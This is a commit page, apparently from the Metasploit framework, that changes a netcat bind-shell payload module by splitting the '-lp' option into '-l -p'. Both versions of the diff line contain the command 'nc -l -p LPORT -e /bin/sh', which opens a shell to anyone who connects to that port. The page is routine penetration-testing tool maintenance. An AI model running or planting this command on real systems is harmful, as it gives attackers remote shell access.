Skip to content

Commit 627e7f6

Browse files
author
jvazquez-r7
committed
avoiding grouping options
1 parent f0cee29 commit 627e7f6

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def generate
4646
# Returns the command string to use for execution
4747
#
4848
def command_string
49-
"nc -lp #{datastore['LPORT']} -e /bin/sh"
49+
"nc -l -p #{datastore['LPORT']} -e /bin/sh"
5050
end
5151

5252
end

0 commit comments

Comments
 (0)